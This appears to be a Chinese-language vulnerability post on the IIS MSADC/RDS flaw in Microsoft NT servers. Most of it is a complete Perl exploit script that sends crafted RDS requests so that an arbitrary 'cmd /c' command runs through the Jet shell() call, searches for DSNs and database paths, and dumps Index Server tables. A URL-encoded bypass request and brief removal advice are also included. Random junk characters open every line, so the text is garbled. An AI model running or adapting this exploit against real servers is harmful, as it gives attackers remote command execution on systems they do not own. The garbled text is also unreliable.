IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
5l"EQ9 YyR)2j1O 涉及程序:
Aj`zT' Microsoft NT server
kj(Ko{ ,3^gB,ka 描述:
EYc, "' 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
"tuBfA+f R-Y |; 详细:
*&VH!K#@{ 如果你没有时间读详细内容的话,就删除:
ZVo%ssVt c:\Program Files\Common Files\System\Msadc\msadcs.dll
chjXsq#Q^ 有关的安全问题就没有了。
"zSi9]j &Nx'Nq9y 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
uus}NZ:*l E}U[VtaC 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
S"FIQ&n 关于利用ODBC远程漏洞的描述,请参看:
~.4-\M6[ esCm`?qCP http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm (<?6X9F:N V=";vRS8 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
Y)@mL~){ http://www.microsoft.com/security/bulletins/MS99-025faq.asp I>k>^ ^WDAW#f*< 这里不再论述。
)+]8T6~
N voRr9E*n 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
cP[3p: b2OVg
+3 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
}wmn v 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
4_3O?IY 2mVcT3 =$`xis\ #将下面这段保存为txt文件,然后: "perl -x 文件名"
_akC^hT f&+=eUp #!perl
[zp v3Uw #
G5y>v^&H # MSADC/RDS 'usage' (aka exploit) script
# 4E@y<l$ #
"bFt+N # by rain.forest.puppy
E\N?D #
%mR roR6 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
5IeF |#g # beta test and find errors!
2mS3gk 8y;W+I(71 use Socket; use Getopt::Std;
<1tFwC|4BJ getopts("e:vd:h:XR", \%args);
*hI \Q.Qos print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
HJpkR<h ZM oV!lu if (!defined $args{h} && !defined $args{R}) {
~.qzQ_O/ print qq~
H"PnX-fGN Usage: msadc.pl -h <host> { -d <delay> -X -v }
b-e3i;T!}~ -h <host> = host you want to scan (ip or domain)
1(C3;qlVD -d <seconds> = delay between calls, default 1 second
uWw4l"RK` -X = dump Index Server path table, if available
Skgvnmk[U -v = verbose
+5pK[%k -e = external dictionary file for step 5
TK.a6HJG j?Ki<MD1 Or a -R will resume a command session
XCU.tWR: fI"q/+ ~; exit;}
Pf
s _s6 f(.@]eu
X $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
k8^!5n if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
=PXQX(_ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
(p<QRb:&Z if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
W69
-,w/ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
A:Z$i5%' if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
'0g1v7Gx 8%s^>.rG if (!defined $args{R}){ $ret = &has_msadc;
MCHRNhb9 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
$M\|zUQu. }5gAxR, print "Please type the NT commandline you want to run (cmd /c assumed):\n"
T^h;T{H2 . "cmd /c ";
|fdr\t#'~ $in=<STDIN>; chomp $in;
yoTbIQ $command="cmd /c " . $in ;
&Im{p7gf!b o)'u%m if (defined $args{R}) {&load; exit;}
$ wGDk y'?|#%D print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
~S}>|q$ &try_btcustmr;
6zs&DOB ,2mnjq/*Z print "\nStep 2: Trying to make our own DSN...";
P;[5#-e &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
}K,:aN,44\ 'Im7^!-d print "\nStep 3: Trying known DSNs...";
4fBgmL &known_dsn;
Iu6KW :x "'H$YhY] print "\nStep 4: Trying known .mdbs...";
c^P8)gPf &known_mdb;
_[8xq:G 87%t=X if (defined $args{e}){
Bb[%?~
E! print "\nStep 5: Trying dictionary of DSN names...";
pq[RH-{ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
bF %#KSVw Mw!?2G[| print "Sorry Charley...maybe next time?\n";
.#R\t 7m% exit;
Z!Sv/5xx a5WVDh,cR ##############################################################################
A0.)=q AfKJaDKf sub sendraw { # ripped and modded from whisker
+7?p&-r)x sleep($delay); # it's a DoS on the server! At least on mine...
2<}^m/} my ($pstr)=@_;
q[{q3-W socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
/km^IH die("Socket problems\n");
Be+'&+ if(connect(S,pack "SnA4x8",2,80,$target)){
{\22C `9t select(S); $|=1;
#.p^S0\pw print $pstr; my @in=<S>;
a9z|ef select(STDOUT); close(S);
^
ab%Mbb return @in;
X0
&1ICZ } else { die("Can't connect...\n"); }}
,c"_X8Fkx$ QytqO{B^ ##############################################################################
~k+"!'1 2%0zPflT sub make_header { # make the HTTP request
v :]y#y my $msadc=<<EOT
/6}4<~~4TA POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
~/1kCZB User-Agent: ACTIVEDATA
y [e$ Host: $ip
tr"iluwGc Content-Length: $clen
aNb=gjLpt Connection: Keep-Alive
M= !Fb Mt)~:V+: ADCClientVersion:01.06
L>$yslH;b Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
#(3w6l2 B1m@ --!ADM!ROX!YOUR!WORLD!
\~:Kp
Kq Content-Type: application/x-varg
i_ws*7B< Content-Length: $reqlen
z<c^<hE:l %Rv&VFg EOT
(:E_m|00; ; $msadc=~s/\n/\r\n/g;
y
%Get return $msadc;}
x P{L%. XG
]yfux` ##############################################################################
Py\xN $K^"a sub make_req { # make the RDS request
I z~#G6]M my ($switch, $p1, $p2)=@_;
P,!si# my $req=""; my $t1, $t2, $query, $dsn;
=Z_\8qc L~A"%T,/h if ($switch==1){ # this is the btcustmr.mdb query
o%h"gbvMY! $query="Select * from Customers where City=" . make_shell();
!> b>"\b $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
]O',Ei^ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
QU16X s<'^
@Y elsif ($switch==2){ # this is general make table query
[CBA Lj5 $query="create table AZZ (B int, C varchar(10))";
yXS ~PG $dsn="$p1";}
x3T)/'( ,eOOV@3C elsif ($switch==3){ # this is general exploit table query
:bwdEni1P $query="select * from AZZ where C=" . make_shell();
0trVmWQ8 $dsn="$p1";}
w=d#y
)1 8lI#D)} elsif ($switch==4){ # attempt to hork file info from index server
'#xxjhF^ $query="select path from scope()";
Rct|"k_"Ys $dsn="Provider=MSIDXS;";}
UBuk-tq ,WA7Kp9 elsif ($switch==5){ # bad query
UTKS<.q $query="select";
,e( |,u $dsn="$p1";}
S6,AY(V 85Q2c $t1= make_unicode($query);
rxC EOG $t2= make_unicode($dsn);
jV8mn{< $req = "\x02\x00\x03\x00";
n[n0iz1- $req.= "\x08\x00" . pack ("S1", length($t1));
JV(eHuw $req.= "\x00\x00" . $t1 ;
k:s}`h_n $req.= "\x08\x00" . pack ("S1", length($t2));
k(<5tv d $req.= "\x00\x00" . $t2 ;
HxAq& J;xu $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
\k0%7i[nZ/ return $req;}
PXm{GLXRS; ZT4._|2 ##############################################################################
AuHOdiJ ?XL [[vyr sub make_shell { # this makes the shell() statement
Ya*lq!
u return "'|shell(\"$command\")|'";}
G& cm5 G U~?S'{ ##############################################################################
r4dG83qg WGKN>nV sub make_unicode { # quick little function to convert to unicode
i;lzFu)G my ($in)=@_; my $out;
|vz<FR6 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
-(~Tu>KaH return $out;}
l"o@.C}f/ 5^cPG" 4@ ##############################################################################
'x<gC"0A W=}l=o!G. sub rdo_success { # checks for RDO return success (this is kludge)
p.TR1BHw my (@in) = @_; my $base=content_start(@in);
\$^ z. if($in[$base]=~/multipart\/mixed/){
xr?=gY3E; return 1 if( $in[$base+10]=~/^\x09\x00/ );}
5 g99t$p9 return 0;}
GZ/.eYE vmJ1-<G4* ##############################################################################
cy*Td7)/ >Mj :' sub make_dsn { # this makes a DSN for us
ur={+0
y my @drives=("c","d","e","f");
1c&/&6#5 print "\nMaking DSN: ";
y;Q_8|,F foreach $drive (@drives) {
/:>qhRFJA: print "$drive: ";
(*7edc"F my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
uzG<(Q pu "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
1c~c_Cc4 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
R"e~0WO $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
SEXeK2v return 0 if $2 eq "404"; # not found/doesn't exist
O7ceSz if($2 eq "200") {
[Av87!kJ!X foreach $line (@results) {
!vfjo[v
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
'e02rqip{ } return 0;}
HKv:)h{? #6fp" ##############################################################################
H&E c*MT U4%d# sub verify_exists {
GBu&2} my ($page)=@_;
\:4WbM:B my @results=sendraw("GET $page HTTP/1.0\n\n");
%\\l/{`eW return $results[0];}
#<0%_Ca c.m '%4 ##############################################################################
+`kfcA#pi 5FtbZ1L sub try_btcustmr {
zCL/^^# my @drives=("c","d","e","f");
6hXL`A&}, my @dirs=("winnt","winnt35","winnt351","win","windows");
y`:}~nUdT T9KzVxHp5 foreach $dir (@dirs) {
Et(Q$/W print "$dir -> "; # fun status so you can see progress
-q&VV, foreach $drive (@drives) {
i96Pel print "$drive: "; # ditto
xU@YBzbk $reqlen=length( make_req(1,$drive,$dir) ) - 28;
7A8jnq7m/ $reqlenlen=length( "$reqlen" );
eHF#ME $clen= 206 + $reqlenlen + $reqlen;
;nji< x?KgEcnw2X my @results=sendraw(make_header() . make_req(1,$drive,$dir));
Im{50%Y if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
Vi23pDZ5 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
V;L^q?v
! x8.7])?w ##############################################################################
TU$/3fp* mC
n,I sub odbc_error {
hdW",Bf' my (@in)=@_; my $base;
}+#-\a2 my $base = content_start(@in);
qg:R+`z if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
N6cf`xye $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
&BqRyUM$F $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
SWUHHl $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
wg^#S return $in[$base+4].$in[$base+5].$in[$base+6];}
_xI'p6C print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
qw&Wfk\} print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
{CR~G2Z $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
ve.iyr ]3
YJEP ##############################################################################
SGZOfTcY A,W-=TC sub verbose {
[VT& my ($in)=@_;
{lT9gJ+ return if !$verbose;
RU,f|hB4 print STDOUT "\n$in\n";}
e,={!P"f K%Mm'$fTw ##############################################################################
WiH%URFB a^< sub save {
({yuwH?tH my ($p1, $p2, $p3, $p4)=@_;
n <6} open(OUT, ">rds.save") || print "Problem saving parameters...\n";
LU_@8i: print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
ilw<Q-o4( close OUT;}
KM g`O3_16 8Z4d<DIJ ##############################################################################
[y\ZnoB $^.LZ1Jd sub load {
d;|e7$F' my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Mlb=,l open(IN,"<rds.save") || die("Couldn't open rds.save\n");
y<m{eDV7 @p=<IN>; close(IN);
VQZ3&]o $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
k;3Bv 6 $target= inet_aton($ip) || die("inet_aton problems");
GfUIF]X print "Resuming to $ip ...";
(sW:^0 p $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
g.kpUs if($p[1]==1) {
k~>9,=::d $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
DifRpj I-0 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
N;>>HN[bBP my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
fGcAkEstT! if (rdo_success(@results)){print "Success!\n";}
d@b 0z$<s else { print "failed\n"; verbose(odbc_error(@results));}}
tE]g*]o elsif ($p[1]==3){
Cnd*%C PZ if(run_query("$p[3]")){
n!|K# print "Success!\n";} else { print "failed\n"; }}
4};!nYey! elsif ($p[1]==4){
*#+d j" if(run_query($drvst . "$p[3]")){
AU}lKq7% print "Success!\n"; } else { print "failed\n"; }}
i)1E[jc{p! exit;}
{p|OKf ]cc4+}L~ ##############################################################################
|b;}'
* ;*:d)'A sub create_table {
HW|c -\tS my ($in)=@_;
!aeL*`; $reqlen=length( make_req(2,$in,"") ) - 28;
UG s
<< $reqlenlen=length( "$reqlen" );
I.fV_
H^ $clen= 206 + $reqlenlen + $reqlen;
ibl^A= my @results=sendraw(make_header() . make_req(2,$in,""));
RecA?-0 return 1 if rdo_success(@results);
O4@Ki4f3A% my $temp= odbc_error(@results); verbose($temp);
-DlKFN return 1 if $temp=~/Table 'AZZ' already exists/;
NS#qein~i return 0;}
oIt.Pc~;'# zG[fPD ##############################################################################
K)]7e?:Wu S6 $S%$ sub known_dsn {
y+(<Is0w # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
r[eZV" my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
k*-_CO-h "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
D=mU!rjr1 "banner", "banners", "ads", "ADCDemo", "ADCTest");
25l6@7q. +>.plvZhu foreach $dSn (@dsns) {
G#HbiVH9 print ".";
H.7gSB 1 next if (!is_access("DSN=$dSn"));
Z9i,#/ if(create_table("DSN=$dSn")){
{v+i!a'+ print "$dSn successful\n";
&s"&rFFO[ if(run_query("DSN=$dSn")){
3Ym5SrKK print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
a{L`C"rJ print "Something's borked. Use verbose next time\n";}}} print "\n";}
K-)*S\<} Y`LZ/Tgk ##############################################################################
~{n_rKYV
UQ$dO2^ sub is_access {
@I]uK[qd my ($in)=@_;
]"dZE2! $reqlen=length( make_req(5,$in,"") ) - 28;
j23OgbI $reqlenlen=length( "$reqlen" );
b*nytF $clen= 206 + $reqlenlen + $reqlen;
;J2U5Y NO my @results=sendraw(make_header() . make_req(5,$in,""));
t+qLQY}= my $temp= odbc_error(@results);
J@"Pv~R verbose($temp); return 1 if ($temp=~/Microsoft Access/);
"@gJ[BL# return 0;}
dg4"4\c*P hAOXOj1 ##############################################################################
V(L~t=k$ NSOWn]E sub run_query {
zek\AQN my ($in)=@_;
,4NvD2Y $reqlen=length( make_req(3,$in,"") ) - 28;
OZbwquF@ $reqlenlen=length( "$reqlen" );
elWN-~ $clen= 206 + $reqlenlen + $reqlen;
)"m FlS<I my @results=sendraw(make_header() . make_req(3,$in,""));
enF.}fo] return 1 if rdo_success(@results);
Z"lL=0rY/ my $temp= odbc_error(@results); verbose($temp);
hEl)BRJ return 0;}
?fXg_?+{'g
p[0Ws460 ##############################################################################
$sU?VA'h |^S[Gr w sub known_mdb {
gET& +M my @drives=("c","d","e","f","g");
J,;;`sf my @dirs=("winnt","winnt35","winnt351","win","windows");
9*[!uu my $dir, $drive, $mdb;
3HO4h\mp my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
DA]!ndJD K^J;iu 4 # this is sparse, because I don't know of many
XEfTAW#7 my @sysmdbs=( "\\catroot\\icatalog.mdb",
j*I0]!- "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
J6hWcA6g "\\system32\\certmdb.mdb",
]g IXG` "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
,ZD!Qb Sj+gf~~ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
yZb@ "\\cfusion\\cfapps\\forums\\forums_.mdb",
RL~\/# "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
#Jy+:|jJ "\\cfusion\\cfapps\\security\\realm_.mdb",
/_*: "\\cfusion\\cfapps\\security\\data\\realm.mdb",
|O+R%'z'< "\\cfusion\\database\\cfexamples.mdb",
E5jK}1t4V "\\cfusion\\database\\cfsnippets.mdb",
VDPqI+z "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
`y;&M8. "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
vO]gj/SaT "\\cfusion\\brighttiger\\database\\cleam.mdb",
R{#-IH=" "\\cfusion\\database\\smpolicy.mdb",
ZB`!@/3X "\\cfusion\\database\cypress.mdb",
Kw(/#C:$ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
S? r:=GS "\\website\\cgi-win\\dbsample.mdb",
]}ff*W "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
Wxjk}&+pVa "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
&m'O :ZS2 ); #these are just
PX?tD:,[- foreach $drive (@drives) {
csRba;Z[ foreach $dir (@dirs){
PaMi5Pq foreach $mdb (@sysmdbs) {
YxS*im[%] print ".";
S^I38gJd if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
cC"7Vt9b print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
bTA<AoW9=" if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
aMm`G}9n print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
5G(y } else { print "Something's borked. Use verbose next time\n"; }}}}}
MG8-1M ^[&*B#( foreach $drive (@drives) {
6du"^g foreach $mdb (@mdbs) {
s_zZ@azJ print ".";
Y91TF' if(create_table($drv . $drive . $dir . $mdb)){
xtpD/,2 print "\n" . $drive . $dir . $mdb . " successful\n";
twf;{lZ( if(run_query($drv . $drive . $dir . $mdb)){
Kl(}s{YFn. print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
8Ral%I:gr } else { print "Something's borked. Use verbose next time\n"; }}}}
;f?OT7>kN }
d^ipf*aLC A
|NX" ##############################################################################
OTN"XKa$ J-Sf9^G sub hork_idx {
'!yyg# print "\nAttempting to dump Index Server tables...\n";
(niZN_qv print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
9^igzRn0 $reqlen=length( make_req(4,"","") ) - 28;
Sl:\5]'yJ $reqlenlen=length( "$reqlen" );
-/#3U{O $clen= 206 + $reqlenlen + $reqlen;
b'3#FI=: my @results=sendraw2(make_header() . make_req(4,"",""));
MMhd -B1O& if (rdo_success(@results)){
$N,9e my $max=@results; my $c; my %d;
YlPZa3\ for($c=19; $c<$max; $c++){
?Z1pPd@ $results[$c]=~s/\x00//g;
f,t[`0 va $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
ut3jIZ1] $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
%m+Z rH( $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
+=\S "e[F $d{"$1$2"}="";}
SkvKzV.R; foreach $c (keys %d){ print "$c\n"; }
Cgq9~U ! } else {print "Index server doesn't seem to be installed.\n"; }}
3AWB Y.
<Y~V!9(~{Q ##############################################################################
YV!!bI y"t5%Iv sub dsn_dict {
#n2GW^x open(IN, "<$args{e}") || die("Can't open external dictionary\n");
? 1Z\=s while(<IN>){
tE>3.0U0Q $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
2q2w o&uK next if (!is_access("DSN=$dSn"));
.?AtW:<*I if(create_table("DSN=$dSn")){
?xN8HG4 print "$dSn successful\n";
9
*]Z if(run_query("DSN=$dSn")){
YH<@->Ip print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
IEC:zmkn print "Something's borked. Use verbose next time\n";}}}
eHqf3f
print "\n"; close(IN);}
yQou8P=% t9 &O0tpe ##############################################################################
JN|<R%hy o<V-gS sub sendraw2 { # ripped and modded from whisker
$PrzJc sleep($delay); # it's a DoS on the server! At least on mine...
'\_ic=&u my ($pstr)=@_;
2"BlV*\lS socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
yv$MQ~] die("Socket problems\n");
Hsp|<;Yg if(connect(S,pack "SnA4x8",2,80,$target)){
Qf=%%5+?8 print "Connected. Getting data";
Wz=ZhE9g open(OUT,">raw.out"); my @in;
I]I5!\\ &[ select(S); $|=1; print $pstr;
2GZUMXK while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
HL 88 close(OUT); select(STDOUT); close(S); return @in;
zYls>fbp, } else { die("Can't connect...\n"); }}
<U1uuOt _r^&.'q ##############################################################################
S G43} )>TA|W]@ sub content_start { # this will take in the server headers
!u7WCw.D m my (@in)=@_; my $c;
_`D760q} for ($c=1;$c<500;$c++) {
8d Ftp3( if($in[$c] =~/^\x0d\x0a/){
2{U4wTu if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
N3x}YHFF else { return $c+1; }}}
W_iP/xL return -1;} # it should never get here actually
>"`:w
]^ RgzK ##############################################################################
d%]7: h[XGFz sub funky {
9^c_^-8n<} my (@in)=@_; my $error=odbc_error(@in);
ZO}V}3 if($error=~/ADO could not find the specified provider/){
-09<; U print "\nServer returned an ADO miscofiguration message\nAborting.\n";
|/p^e exit;}
9wtl|s%A% if($error=~/A Handler is required/){
Y~Jq ! print "\nServer has custom handler filters (they most likely are patched)\n";
$f)Y
!<bC exit;}
\u)s Zh if($error=~/specified Handler has denied Access/){
hp>me*vzr print "\nServer has custom handler filters (they most likely are patched)\n";
Z.h`yRhO exit;}}
F"0tv$ jkD5Z`D ##############################################################################
r)7A# 3wId ZnmBb_eX sub has_msadc {
wHIS}OONz my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
):.]4n{L my $base=content_start(@results);
y<;#*wB return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
}*BY!5 return 0;}
nk-?$'i9q Ay56@_d2 ########################
E~N}m7kTl/ -MOf[f^ ,u\M7,a^ 解决方案:
H:~LL0Md% 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
"`
9W"A= 2、移除web 目录: /msadc